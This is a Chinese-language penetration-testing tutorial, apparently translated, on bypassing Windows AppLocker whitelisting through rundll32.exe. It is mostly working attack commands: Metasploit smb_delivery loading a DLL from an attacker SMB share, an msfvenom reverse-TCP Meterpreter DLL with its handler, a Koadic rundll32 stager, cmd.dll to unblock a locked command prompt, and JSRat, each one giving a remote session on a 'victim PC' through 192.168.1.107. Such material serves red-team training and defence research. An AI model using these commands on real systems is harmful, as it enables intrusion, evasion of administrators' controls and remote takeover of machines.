使用rundll32.exe绕过应用程序白名单
本文演示了将AppLocker旁路列入白名单的最常见和熟悉的技术。众所周知,出于安全原因,系统管理员添加了组策略来限制本地用户执行应用。在上一篇文章中,我们讨论了“ Windows Applocker策略-入门指南 ”,因为它们定义了应用程序控制策略的AppLocker规则以及如何使用它们。但是今天,您将学习如何通过RunDLL文件绕过Applocker策略。
目录表
- 介绍
- DLL文件的工作
- 好处
- 缺点
- 使用DLL文件的AppLocker绕过的不同方法
- 结论
介绍
DLL文件对于Windows的操作系统正常工作非常重要,它还决定了自定义Windows的其他程序的工作。动态链接库(DLL)文件是为其他程序提供有关如何调用某些内容的指令的文件类型。因此,多个软件甚至可以同时共享此类DLL文件。尽管与.exe文件格式相同,但DLL文件不能像.exe文件那样直接执行。DLL文件扩展名可以是.dll(动态链接库)、. OCX(ActiveX控件)、. CPL(控制面板)、. DRV(设备驱动程序)。
加工
使用时,DLL文件分为几部分。这使DLL文件的工作变得容易和快捷。每个部分都在运行时安装在主程序中。由于每个部分都不同且独立;加载时间更快,并且仅在需要所述文件的功能时才完成。此功能还使升级更易于应用,而不会影响其他部分。例如,您有一个字典程序,每个月都会添加新单词,因此,您要做的就是更新它;无需为其安装另一个程序。
好处
- 使用更少的资源
- 促进模块化架构
- 简化部署和安装
缺点
- 从属DLL升级到新版本。
- 从属DLL是固定的。
- 从属DLL被早期版本覆盖。
- 从计算机中删除了一个依赖的DLL。
方法
- Smb_Delivery
- MSFvenom
- Koadic
- 通过cmd.dll获取命令提示符(Get-Command Prompt via cmd.dll)
- JSRat
SMB Delivery
因此,我们的方法使用的是smb_delivery。要使用此方法,请在kali中打开终端,然后键入以下命令;
msfconsole
use exploit/windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.107
msf exploit(windows/smb/smb_delivery) > exploit
现在,通过Windows计算机中的rundll32.exe运行恶意代码,以获取Meterpreter会话。
当以上漏洞利用将运行时,它将为您提供要在受害者的PC上执行的命令;为了获得一个会话。因此,将给定命令复制并粘贴到受害者的PC的运行窗口中,如下图所示:
rundll32.exe \\192.168.1.107\ZtmW\test.dll,0
一旦执行该命令,您将具有Meterpreter会话。要访问会话,请输入:
sessions 1
sysinfo
MsfVeom
我们的第二种方法是通过MSFVenom。要使用此方法,请在kali终端中键入以下命令:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 -f dll > 1.dll
创建有效负载后,请在受害者的PC的运行窗口中运行以下命令:
rundll32 shell32.dll,Control_RunDLL C:\Users\raj\Downloads\1.dll
同时,通过键入以下内容来启动multi / handler以获取会话:
msfconsole
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.107
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
Koadic
我们的下一个方法是使用Koadic框架。Koadic是Windows开发后的rootkit,与其他渗透测试工具(例如Meterpreter和Powershell Empire)相似。要了解有关Koadic的更多信息,请通过以下链接阅读有关该框架的详细文章:https ://www.hackingarticles.in/koadic-com-command-control-framework
当koadic启动并运行后,键入:
use stager/js/rundll32_js
set SRVHOST 192.168.1.107
run
运行漏洞利用程序会给您一个命令。将该命令从rundll32.exe复制到6.0”),然后将其粘贴到受害者PC的命令提示符中。
在cmd中运行命令后,即可进行会话。如下图所示。
要访问会话,请输入:
zombies 0
通过cmd.dll获取命令提示符
现在的难题是,如果在受害者的PC中阻止了命令提示符,该怎么办。
如果命令行被阻止,则可以使用Didier Stevens开发的脚本来解决小问题。您可以在以下链接中找到它们:
//didierstevens.com/files/software/cmd-dll_v0_0_4.zip
在上述URL中,您将下载一个zip文件。解压缩该zip文件,并使用以下命令在运行窗口中运行该文件:
rundll32 shell32.dll,Control_RunDLL C:\Users\raj\Downloads\cmd.dll
运行命令后,您将立即取消阻塞该cmd。如下所示:
JSRat
攻击regsvr32的下一种方法是使用JSRat,您可以从GitHub下载它 。这是另一个命令和控制框架,就像koadic和Powershell Empire一样,仅用于rundll32.exe和regsvr32.exe生成恶意任务。JSRat将创建一个Web服务器,并在该Web服务器上找到我们的.js文件。要使用此方法,请输入:
./JSRat.py -i 192.168.1.107 -p 4444
JSRat开始工作后,它将为您提供在浏览器中打开的链接。该网页将具有将在受害者的PC上执行的代码。
因此,在浏览器中打开//192.168.1.107/wtf链接。您将在其中找到所述代码,如下图所示:
在受害者计算机的命令提示符中运行该代码,如下所示:
瞧,您将看到一个会话,如下图所示:
结论
DLL文件是各种代码和过程的集合。这些文件可帮助Windows程序准确执行。这些文件是为多个程序创建的,以同时使用它们。此技术有助于保存内存。因此,这些文件很重要,并且Windows要求它们正常运行,而不会给用户带来任何类型的问题。因此,通过此类文件进行的利用非常有效且致命。上面介绍的方法是不同的方法。